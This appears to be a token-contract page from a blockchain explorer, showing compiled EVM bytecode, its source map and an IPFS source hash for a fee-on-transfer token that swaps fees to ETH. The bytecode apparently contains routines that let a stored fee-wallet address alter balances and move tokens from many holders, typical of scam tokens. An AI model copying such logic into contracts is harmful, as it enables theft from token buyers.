038516600090815260016020526040902055610e54610e358383611264565b6001600160a01b03851660009081526001602052604090205490611205565b6001600160a01b038085166000818152600160205260409020929092556008541614610ec5576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610eb38585611264565b60405190815260200160405180910390a35b50505050565b60008184841115610eef5760405162461bcd60e51b81526004016103b791906112d4565b506000610efc848661170b565b95945050505050565b8315610ec557600a546001600160a01b038481169116141580610f3557506004546001600160a01b038381169116145b15610ec5576001600160a01b03831660009081526001602052604081208054839290610f6290849061170b565b909155505050505050565b600082600003610f7f57506000610366565b6000610f8b83856116a9565b905082610f98858361173b565b14610fef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b9392505050565b6000610fef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a6565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611072573d6000803e3d6000fd5b5050565b60008183116110855782610fef565b50919050565b600a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d3576110d36116f5565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611150919061171e565b81600181518110611163576111636116f5565b6001600160a01b039283166020918202929092010152600954611189913091168461093d565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c29085906000908690309042906004016117c6565b600060405180830381600087803b1580156111dc57600080fd5b505af11580156111f0573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6000806112128385611838565b905083811015610fef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b6000610fef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b600081836112c75760405162461bcd60e51b81526004016103b791906112d4565b506000610efc848661173b565b602081526000825180602084015260005b8181101561130257602081860181015160408684010152016112e5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ec57600080fd5b6000806040838503121561134a57600080fd5b823561135581611322565b946020939093013593505050565b60008060006060848603121561137857600080fd5b833561138381611322565b9250602084013561139381611322565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156113e3576113e36113a4565b604052919050565b600067ffffffffffffffff821115611405576114056113a4565b5060051b60200190565b600082601f83011261142057600080fd5b813561143361142e826113eb565b6113ba565b8082825260208201915060208360051b86010192508583111561145557600080fd5b602085015b8381101561147257803583526020928301920161145a565b5095945050505050565b6000806040838503121561148f57600080fd5b823567ffffffffffffffff8111156114a657600080fd5b8301601f810185136114b757600080fd5b80356114c561142e826113eb565b8082825260208201915060208360051b8501019250878311156114e757600080fd5b6020840193505b8284101561151257833561150181611322565b8252602093840193909101906114ee565b9450505050602083013567ffffffffffffffff81111561153157600080fd5b61153d8582860161140f565b9150509250929050565b60006020828403121561155957600080fd5b8135610fef81611322565b6000806040838503121561157757600080fd5b823561158281611322565b9150602083013561159281611322565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156115ee578085048111156115d2576115d261159d565b60018416156115e057908102905b60019390931c9280026115b7565b935093915050565b60008261160557506001610366565b8161161257506000610366565b816001811461162857600281146116325761164e565b6001915050610366565b60ff8411156116435761164361159d565b50506001821b610366565b5060208310610133831016604e8410600b8410161715611671575081810a610366565b61167e60001984846115b3565b80600019048211156116925761169261159d565b029392505050565b6000610fef60ff8416836115f6565b80820281158282048414176103665761036661159d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b818103818111156103665761036661159d565b60006020828403121561173057600080fd5b8151610fef81611322565b60008261175857634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561177257600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561179d57600080fd5b81518015158114610fef57600080fd5b6000600182016117bf576117bf61159d565b5060010190565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118185783516001600160a01b03168352602093840193909201916001016117f1565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103665761036661159d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f270640f04d5759e5dab919c15a128427ac41879308b4366ccbacf76b7f0ceb564736f6c634300081a0033
Deployed Bytecode Sourcemap
3857:8226:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5350:83;;;;;;;;;;-1:-1:-1;5420:5:0;;;;;;;;;;;;-1:-1:-1;;;5420:5:0;;;;5350:83;;;;;;;:::i;:::-;;;;;;;;6233:186;;;;;;;;;;-1:-1:-1;6233:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6233:186:0;1054:187:1;4440:42:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;4440:42:0;1246:177:1;5627:95:0;;;;;;;;;;;;;:::i;8837:110::-;;;;;;;;;;;;;:::i;:::-;;7114:396;;;;;;;;;;-1:-1:-1;7114:396:0;;;;;:::i;:::-;;:::i;5536:83::-;;;;;;;;;;-1:-1:-1;5536:83:0;;4726:1;2083:36:1;;2071:2;2056:18;5536:83:0;1941:184:1;9171:326:0;;;;;;;;;;-1:-1:-1;9171:326:0;;;;;:::i;:::-;;:::i;5730:119::-;;;;;;;;;;-1:-1:-1;5730:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5823:18:0;5796:7;5823:18;;;:9;:18;;;;;;;5730:119;2668:148;;;;;;;;;;;;;:::i;2824:79::-;;;;;;;;;;-1:-1:-1;2862:7:0;2889:6;2824:79;;-1:-1:-1;;;;;2889:6:0;;;5076:51:1;;5064:2;5049:18;2824:79:0;4930:203:1;5441:87:0;;;;;;;;;;-1:-1:-1;5513:7:0;;;;;;;;;;;;-1:-1:-1;;;5513:7:0;;;;5441:87;;5857:192;;;;;;;;;;-1:-1:-1;5857:192:0;;;;;:::i;:::-;;:::i;4385:48::-;;;;;;;;;;;;;;;;8010:815;;;;;;;;;;;;;:::i;6057:168::-;;;;;;;;;;-1:-1:-1;6057:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6190:18:0;;;6163:7;6190:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6057:168;6233:186;6333:4;6350:39;283:10;6373:7;6382:6;6350:8;:39::i;:::-;-1:-1:-1;6407:4:0;6233:186;;;;;:::o;5627:95::-;5680:7;4251:15;4726:1;4251:2;:15;:::i;:::-;4235:31;;:13;:31;:::i;:::-;5700:14;;5627:95;:::o;8837:110::-;2951:6;;-1:-1:-1;;;;;2951:6:0;283:10;2951:22;2943:67;;;;-1:-1:-1;;;2943:67:0;;;;;;;:::i;:::-;;;;;;;;;8888:51:::1;::::0;8896:10:::1;::::0;8917:21:::1;8888:51:::0;::::1;;;::::0;::::1;::::0;;;8917:21;8896:10;8888:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8837:110::o:0;7114:396::-;7246:4;7263:36;7273:6;7281:9;7292:6;7263:9;:36::i;:::-;7310:170;7333:6;283:10;7381:88;7419:6;7381:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7381:19:0;;;;;;:11;:19;;;;;;;;283:10;7381:33;;;;;;;;;;:37;:88::i;:::-;7310:8;:170::i;:::-;-1:-1:-1;7498:4:0;7114:396;;;;;:::o;9171:326::-;9267:9;9262:228;9286:9;:16;9282:1;:20;9262:228;;;9324:16;9343:9;9353:1;9343:12;;;;;;;;:::i;:::-;;;;;;;9324:31;;9370:14;9409:7;9417:1;9409:10;;;;;;;;:::i;:::-;;;;;;;9387:9;:19;9397:8;-1:-1:-1;;;;;9387:19:0;-1:-1:-1;;;;;9387:19:0;;;;;;;;;;;;;:32;;;;:::i;:::-;9370:49;;9434:44;9443:4;9449:8;9459:10;9471:6;9434:8;:44::i;:::-;-1:-1:-1;;9304:3:0;;9262:228;;;;9171:326;;:::o;2668:148::-;2951:6;;-1:-1:-1;;;;;2951:6:0;283:10;2951:22;2943:67;;;;-1:-1:-1;;;2943:67:0;;;;;;;:::i;:::-;2775:1:::1;2759:6:::0;;2738:40:::1;::::0;-1:-1:-1;;;;;2759:6:0;;::::1;::::0;2738:40:::1;::::0;2775:1;;2738:40:::1;2806:1;2789:19:::0;;-1:-1:-1;;;;;;2789:19:0::1;::::0;;2668:148::o;5857:192::-;5960:4;5977:42;283:10;6001:9;6012:6;5977:9;:42::i;8010:815::-;2951:6;;-1:-1:-1;;;;;2951:6:0;283:10;2951:22;2943:67;;;;-1:-1:-1;;;2943:67:0;;;;;;;:::i;:::-;8072:11:::1;::::0;-1:-1:-1;;;8072:11:0;::::1;;;8071:12;8063:48;;;::::0;-1:-1:-1;;;8063:48:0;;8096:2:1;8063:48:0::1;::::0;::::1;8078:21:1::0;8135:2;8115:18;;;8108:30;8174:25;8154:18;;;8147:53;8217:18;;8063:48:0::1;7894:347:1::0;8063:48:0::1;8122:15;:104:::0;;-1:-1:-1;;;;;;8122:104:0::1;8173:42;8122:104:::0;;::::1;::::0;;8238:58:::1;::::0;8255:4:::1;::::0;8173:42;4251:15:::1;::::0;:2:::1;:15;:::i;:::-;4235:31;::::0;:13:::1;:31;:::i;8238:58::-;8342:15;;;;;;;;;-1:-1:-1::0;;;;;8342:15:0::1;-1:-1:-1::0;;;;;8342:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8324:55:0::1;;8402:4;8422:15;;;;;;;;;-1:-1:-1::0;;;;;8422:15:0::1;-1:-1:-1::0;;;;;8422:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8324:131;::::0;-1:-1:-1;;;;;;8324:131:0::1;::::0;;;;;;-1:-1:-1;;;;;8694:32:1;;;8324:131:0::1;::::0;::::1;8676:51:1::0;8763:32;;8743:18;;;8736:60;8649:18;;8324:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8308:13;:147:::0;;-1:-1:-1;;;;;8308:147:0;;::::1;-1:-1:-1::0;;;;;;8308:147:0;;::::1;;::::0;;8468:15:::1;::::0;::::1;:31;8507:21;8552:4;8605;8572:24;8552:4:::0;-1:-1:-1;;;;;5823:18:0;5796:7;5823:18;;;:9;:18;;;;;;;5730:119;8572:24:::1;:30;::::0;8599:3:::1;8572:30;:::i;:::-;:37;;;;:::i;:::-;8624:1;8640::::0;8656:7:::1;2862::::0;2889:6;-1:-1:-1;;;;;2889:6:0;;2824:79;8656:7:::1;8468:236;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8468:236:0;;;-1:-1:-1;;;;;9350:32:1;;;8468:236:0::1;::::0;::::1;9332:51:1::0;9399:18;;;9392:34;;;;9442:18;;;9435:34;;;;9485:18;;;9478:34;9549:32;;;9528:19;;;9521:61;8678:15:0::1;9598:19:1::0;;;9591:35;9304:19;;8468:236:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8722:13:0::1;::::0;8753:15:::1;::::0;8715:71:::1;::::0;-1:-1:-1;;;8715:71:0;;-1:-1:-1;;;;;8753:15:0;;::::1;8715:71;::::0;::::1;10272:51:1::0;-1:-1:-1;;10339:18:1;;;10332:34;8722:13:0;::::1;::::0;-1:-1:-1;8715:29:0::1;::::0;10245:18:1;;8715:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8799:11:0::1;:18:::0;;-1:-1:-1;;;;8799:18:0::1;-1:-1:-1::0;;;8799:18:0::1;::::0;;8010:815::o;6427:335::-;-1:-1:-1;;;;;6520:19:0;;6512:68;;;;-1:-1:-1;;;6512:68:0;;10861:2:1;6512:68:0;;;10843:21:1;10900:2;10880:18;;;10873:30;10939:34;10919:18;;;10912:62;-1:-1:-1;;;10990:18:1;;;10983:34;11034:19;;6512:68:0;10659:400:1;6512:68:0;-1:-1:-1;;;;;6599:21:0;;6591:68;;;;-1:-1:-1;;;6591:68:0;;11266:2:1;6591:68:0;;;11248:21:1;11305:2;11285:18;;;11278:30;11344:34;11324:18;;;11317:62;-1:-1:-1;;;11395:18:1;;;11388:32;11437:19;;6591:68:0;11064:398:1;6591:68:0;-1:-1:-1;;;;;6670:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6722:32;;1392:25:1;;;6722:32:0;;1365:18:1;6722:32:0;;;;;;;6427:335;;;:::o;9505:2534::-;-1:-1:-1;;;;;9601:20:0;;9593:70;;;;-1:-1:-1;;;9593:70:0;;11669:2:1;9593:70:0;;;11651:21:1;11708:2;11688:18;;;11681:30;11747:34;11727:18;;;11720:62;-1:-1:-1;;;11798:18:1;;;11791:35;11843:19;;9593:70:0;11467:401:1;9593:70:0;-1:-1:-1;;;;;9682:22:0;;9674:70;;;;-1:-1:-1;;;9674:70:0;;12075:2:1;9674:70:0;;;12057:21:1;12114:2;12094:18;;;12087:30;12153:34;12133:18;;;12126:62;-1:-1:-1;;;12204:18:1;;;12197:33;12247:19;;9674:70:0;11873:399:1;9674:70:0;9772:1;9763:6;:10;9755:64;;;;-1:-1:-1;;;9755:64:0;;12479:2:1;9755:64:0;;;12461:21:1;12518:2;12498:18;;;12491:30;12557:34;12537:18;;;12530:62;-1:-1:-1;;;12608:18:1;;;12601:39;12657:19;;9755:64:0;12277:405:1;9755:64:0;9830:17;2889:6;;-1:-1:-1;;;;;9880:17:0;;;2889:6;;9880:17;;;;:53;;-1:-1:-1;2862:7:0;2889:6;-1:-1:-1;;;;;9914:19:0;;;2889:6;;9914:19;;9880:53;:93;;;;-1:-1:-1;;;;;;9950:23:0;;9968:4;9950:23;;9880:93;:135;;;;-1:-1:-1;;;;;;9990:25:0;;10010:4;9990:25;;9880:135;9862:1757;;;10054:33;10083:3;10054:24;10065:12;;10054:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;10136:13;;10042:45;;-1:-1:-1;;;;;;10126:23:0;;;10136:13;;10126:23;:80;;;;-1:-1:-1;10190:15:0;;-1:-1:-1;;;;;10170:36:0;;;10190:15;;10170:36;;10126:80;:130;;;;-1:-1:-1;;;;;;10228:28:0;;;;;;:18;:28;;;;;;;;10227:29;10126:130;10104:475;;;10303:230;10529:3;10303:199;10375:10;;10363:9;;:22;10362:117;;10465:14;;10362:117;;;10418:15;;10362:117;10303:6;;:32;:199::i;:230::-;10552:9;:11;;10291:242;;-1:-1:-1;10552:9:0;:11;;;:::i;:::-;;;;;;10104:475;10611:13;;-1:-1:-1;;;;;10599:25:0;;;10611:13;;10599:25;:52;;;;-1:-1:-1;;;;;;10628:23:0;;10646:4;10628:23;;10599:52;10595:372;;;10684:230;10910:3;10684:199;10756:10;;10744:9;;:22;10743:117;;10846:14;;10743:117;;10684:230;10672:242;;10916:35;10929:21;10916:12;:35::i;:::-;11032:4;10983:28;5823:18;;;:9;:18;;;;;;11076:6;;-1:-1:-1;;;11076:6:0;;;;11075:7;:53;;;;-1:-1:-1;11115:13:0;;-1:-1:-1;;;;;11103:25:0;;;11115:13;;11103:25;11075:53;:104;;;;;11161:18;;11149:9;;:30;11075:104;11053:555;;;11241:17;;11218:20;:40;11214:185;;;11281:118;11325:51;11329:6;11337:38;11341:20;11363:11;;11337:3;:38::i;:::-;11325:3;:51::i;:::-;11281:17;:118::i;:::-;11447:21;11491:22;;11487:106;;11538:35;11551:21;11538:12;:35::i;:::-;11195:413;11053:555;10027:1592;9862:1757;11635:13;;11631:174;;11710:4;11692:24;;;;:9;:24;;;;;;:39;;11721:9;11692:28;:39::i;:::-;11683:4;11665:24;;;;:9;:24;;;;;;;:66;;;;11751:42;;-1:-1:-1;;;;;11751:42:0;;;;;;;11783:9;1392:25:1;;1380:2;1365:18;;1246:177;11751:42:0;;;;;;;;11631:174;-1:-1:-1;;;;;11835:17:0;;;;;;:9;:17;;;;;;:29;;11857:6;11835:21;:29::i;:::-;-1:-1:-1;;;;;11815:17:0;;;;;;:9;:17;;;;;:49;11897:46;11921:21;:6;11932:9;11921:10;:21::i;:::-;-1:-1:-1;;;;;11897:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;11875:19:0;;;;;;;:9;:19;;;;;:68;;;;11970:5;;;11958:17;11954:77;;-1:-1:-1;;;;;11982:49:0;;;;;;;12009:21;:6;12020:9;12009:10;:21::i;:::-;11982:49;;1392:25:1;;;1380:2;1365:18;11982:49:0;;;;;;;11954:77;9582:2457;9505:2534;;;:::o;1470:224::-;1590:7;1626:12;1618:6;;;;1610:29;;;;-1:-1:-1;;;1610:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1650:9:0;1662:5;1666:1;1662;:5;:::i;:::-;1650:17;1470:224;-1:-1:-1;;;;;1470:224:0:o;8955:208::-;9055:9;9050:23;9066:7;9050:23;9086:13;;-1:-1:-1;;;;;9078:21:0;;;9086:13;;9078:21;;;:41;;-1:-1:-1;9109:10:0;;-1:-1:-1;;;;;9103:16:0;;;9109:10;;9103:16;9078:41;9074:81;;;-1:-1:-1;;;;;9130:15:0;;;;;;:9;:15;;;;;:25;;9149:6;;9130:15;:25;;9149:6;;9130:25;:::i;:::-;;;;-1:-1:-1;;8955:208:0;;;;:::o;1702:246::-;1760:7;1784:1;1789;1784:6;1780:47;;-1:-1:-1;1814:1:0;1807:8;;1780:47;1837:9;1849:5;1853:1;1849;:5;:::i;:::-;1837:17;-1:-1:-1;1882:1:0;1873:5;1877:1;1837:17;1873:5;:::i;:::-;:10;1865:56;;;;-1:-1:-1;;;1865:56:0;;13029:2:1;1865:56:0;;;13011:21:1;13068:2;13048:18;;;13041:30;13107:34;13087:18;;;13080:62;-1:-1:-1;;;13158:18:1;;;13151:31;13199:19;;1865:56:0;12827:397:1;1865:56:0;1939:1;1702:246;-1:-1:-1;;;1702:246:0:o;1956:132::-;2014:7;2041:39;2045:1;2048;2041:39;;;;;;;;;;;;;;;;;:3;:39::i;6770:92::-;6827:10;;:27;;-1:-1:-1;;;;;6827:10:0;;;;:27;;;;;6847:6;;6827:10;:27;:10;:27;6847:6;6827:10;:27;;;;;;;;;;;;;;;;;;;;;6770:92;:::o;5235:107::-;5292:7;5324:1;5320;:5;5319:15;;5333:1;5319:15;;;-1:-1:-1;5329:1:0;5235:107;-1:-1:-1;5235:107:0:o;7518:484::-;4774:6;:13;;-1:-1:-1;;;;4774:13:0;-1:-1:-1;;;4774:13:0;;;7621:16:::1;::::0;;7635:1:::1;7621:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7621:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7621:16:0::1;7597:40;;7666:4;7648;7653:1;7648:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7648:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7692:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7692:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7648:7;;7692:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7682:4;7687:1;7682:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7682:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7757:15:::1;::::0;7725:62:::1;::::0;7742:4:::1;::::0;7757:15:::1;7775:11:::0;7725:8:::1;:62::i;:::-;7798:15;::::0;:196:::1;::::0;-1:-1:-1;;;7798:196:0;;-1:-1:-1;;;;;7798:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7879:11;;7798:15:::1;::::0;7921:4;;7948::::1;::::0;7968:15:::1;::::0;7798:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4810:6:0;:14;;-1:-1:-1;;;;4810:14:0;;;-1:-1:-1;;;;7518:484:0:o;1139:179::-;1197:7;;1229:5;1233:1;1229;:5;:::i;:::-;1217:17;;1258:1;1253;:6;;1245:46;;;;-1:-1:-1;;;1245:46:0;;14525:2:1;1245:46:0;;;14507:21:1;14564:2;14544:18;;;14537:30;14603:29;14583:18;;;14576:57;14650:18;;1245:46:0;14323:351:1;1326:136:0;1384:7;1411:43;1415:1;1418;1411:43;;;;;;;;;;;;;;;;;:3;:43::i;2096:223::-;2216:7;2251:12;2244:5;2236:28;;;;-1:-1:-1;;;2236:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2275:9:0;2287:5;2291:1;2287;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2130:127::-;2191:10;2186:3;2182:20;2179:1;2172:31;2222:4;2219:1;2212:15;2246:4;2243:1;2236:15;2262:275;2333:2;2327:9;2398:2;2379:13;;-1:-1:-1;;2375:27:1;2363:40;;2433:18;2418:34;;2454:22;;;2415:62;2412:88;;;2480:18;;:::i;:::-;2516:2;2509:22;2262:275;;-1:-1:-1;2262:275:1:o;2542:183::-;2602:4;2635:18;2627:6;2624:30;2621:56;;;2657:18;;:::i;:::-;-1:-1:-1;2702:1:1;2698:14;2714:4;2694:25;;2542:183::o;2730:723::-;2784:5;2837:3;2830:4;2822:6;2818:17;2814:27;2804:55;;2855:1;2852;2845:12;2804:55;2895:6;2882:20;2922:64;2938:47;2978:6;2938:47;:::i;:::-;2922:64;:::i;:::-;3010:3;3034:6;3029:3;3022:19;3066:4;3061:3;3057:14;3050:21;;3127:4;3117:6;3114:1;3110:14;3102:6;3098:27;3094:38;3080:52;;3155:3;3147:6;3144:15;3141:35;;;3172:1;3169;3162:12;3141:35;3208:4;3200:6;3196:17;3222:200;3238:6;3233:3;3230:15;3222:200;;;3330:17;;3360:18;;3407:4;3398:14;;;;3255;3222:200;;;-1:-1:-1;3440:7:1;2730:723;-1:-1:-1;;;;;2730:723:1:o;3458:1215::-;3576:6;3584;3637:2;3625:9;3616:7;3612:23;3608:32;3605:52;;;3653:1;3650;3643:12;3605:52;3693:9;3680:23;3726:18;3718:6;3715:30;3712:50;;;3758:1;3755;3748:12;3712:50;3781:22;;3834:4;3826:13;;3822:27;-1:-1:-1;3812:55:1;;3863:1;3860;3853:12;3812:55;3903:2;3890:16;3926:64;3942:47;3982:6;3942:47;:::i;3926:64::-;4012:3;4036:6;4031:3;4024:19;4068:4;4063:3;4059:14;4052:21;;4125:4;4115:6;4112:1;4108:14;4104:2;4100:23;4096:34;4082:48;;4153:7;4145:6;4142:19;4139:39;;;4174:1;4171;4164:12;4139:39;4206:4;4202:2;4198:13;4187:24;;4220:221;4236:6;4231:3;4228:15;4220:221;;;4318:3;4305:17;4335:31;4360:5;4335:31;:::i;:::-;4379:18;;4426:4;4253:14;;;;4417;;;;4220:221;;;4460:5;-1:-1:-1;;;;4518:4:1;4503:20;;4490:34;4549:18;4536:32;;4533:52;;;4581:1;4578;4571:12;4533:52;4604:63;4659:7;4648:8;4637:9;4633:24;4604:63;:::i;:::-;4594:73;;;3458:1215;;;;;:::o;4678:247::-;4737:6;4790:2;4778:9;4769:7;4765:23;4761:32;4758:52;;;4806:1;4803;4796:12;4758:52;4845:9;4832:23;4864:31;4889:5;4864:31;:::i;5138:388::-;5206:6;5214;5267:2;5255:9;5246:7;5242:23;5238:32;5235:52;;;5283:1;5280;5273:12;5235:52;5322:9;5309:23;5341:31;5366:5;5341:31;:::i;:::-;5391:5;-1:-1:-1;5448:2:1;5433:18;;5420:32;5461:33;5420:32;5461:33;:::i;:::-;5513:7;5503:17;;;5138:388;;;;;:::o;5531:127::-;5592:10;5587:3;5583:20;5580:1;5573:31;5623:4;5620:1;5613:15;5647:4;5644:1;5637:15;5663:375;5751:1;5769:5;5783:249;5804:1;5794:8;5791:15;5783:249;;;5854:4;5849:3;5845:14;5839:4;5836:24;5833:50;;;5863:18;;:::i;:::-;5913:1;5903:8;5899:16;5896:49;;;5927:16;;;;5896:49;6010:1;6006:16;;;;;5966:15;;5783:249;;;5663:375;;;;;;:::o;6043:902::-;6092:5;6122:8;6112:80;;-1:-1:-1;6163:1:1;6177:5;;6112:80;6211:4;6201:76;;-1:-1:-1;6248:1:1;6262:5;;6201:76;6293:4;6311:1;6306:59;;;;6379:1;6374:174;;;;6286:262;;6306:59;6336:1;6327:10;;6350:5;;;6374:174;6411:3;6401:8;6398:17;6395:43;;;6418:18;;:::i;:::-;-1:-1:-1;;6474:1:1;6460:16;;6533:5;;6286:262;;6632:2;6622:8;6619:16;6613:3;6607:4;6604:13;6600:36;6594:2;6584:8;6581:16;6576:2;6570:4;6567:12;6563:35;6560:77;6557:203;;;-1:-1:-1;6669:19:1;;;6745:5;;6557:203;6792:42;-1:-1:-1;;6817:8:1;6811:4;6792:42;:::i;:::-;6870:6;6866:1;6862:6;6858:19;6849:7;6846:32;6843:58;;;6881:18;;:::i;:::-;6919:20;;6043:902;-1:-1:-1;;;6043:902:1:o;6950:140::-;7008:5;7037:47;7078:4;7068:8;7064:19;7058:4;7037:47;:::i;7095:168::-;7168:9;;;7199;;7216:15;;;7210:22;;7196:37;7186:71;;7237:18;;:::i;7268:356::-;7470:2;7452:21;;;7489:18;;;7482:30;7548:34;7543:2;7528:18;;7521:62;7615:2;7600:18;;7268:356::o;7629:127::-;7690:10;7685:3;7681:20;7678:1;7671:31;7721:4;7718:1;7711:15;7745:4;7742:1;7735:15;7761:128;7828:9;;;7849:11;;;7846:37;;;7863:18;;:::i;8246:251::-;8316:6;8369:2;8357:9;8348:7;8344:23;8340:32;8337:52;;;8385:1;8382;8375:12;8337:52;8417:9;8411:16;8436:31;8461:5;8436:31;:::i;8807:217::-;8847:1;8873;8863:132;;8917:10;8912:3;8908:20;8905:1;8898:31;8952:4;8949:1;8942:15;8980:4;8977:1;8970:15;8863:132;-1:-1:-1;9009:9:1;;8807:217::o;9637:456::-;9725:6;9733;9741;9794:2;9782:9;9773:7;9769:23;9765:32;9762:52;;;9810:1;9807;9800:12;9762:52;-1:-1:-1;;9855:16:1;;9961:2;9946:18;;9940:25;10057:2;10042:18;;;10036:25;9855:16;;9940:25;;-1:-1:-1;10036:25:1;9637:456;-1:-1:-1;9637:456:1:o;10377:277::-;10444:6;10497:2;10485:9;10476:7;10472:23;10468:32;10465:52;;;10513:1;10510;10503:12;10465:52;10545:9;10539:16;10598:5;10591:13;10584:21;10577:5;10574:32;10564:60;;10620:1;10617;10610:12;12687:135;12726:3;12747:17;;;12744:43;;12767:18;;:::i;:::-;-1:-1:-1;12814:1:1;12803:13;;12687:135::o;13229:959::-;13491:4;13539:3;13528:9;13524:19;13570:6;13559:9;13552:25;13613:6;13608:2;13597:9;13593:18;13586:34;13656:3;13651:2;13640:9;13636:18;13629:31;13680:6;13715;13709:13;13746:6;13738;13731:22;13784:3;13773:9;13769:19;13762:26;;13823:2;13815:6;13811:15;13797:29;;13844:1;13854:195;13868:6;13865:1;13862:13;13854:195;;;13933:13;;-1:-1:-1;;;;;13929:39:1;13917:52;;13998:2;14024:15;;;;13989:12;;;;13965:1;13883:9;13854:195;;;-1:-1:-1;;;;;;;14105:32:1;;;;14100:2;14085:18;;14078:60;-1:-1:-1;;14169:3:1;14154:19;14147:35;14066:3;13229:959;-1:-1:-1;;;13229:959:1:o;14193:125::-;14258:9;;;14279:10;;;14276:36;;;14292:18;;:::i
Swarm Source
ipfs://f270640f04d5759e5dab919c15a128427ac41879308b4366ccbacf76b7f0ceb5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.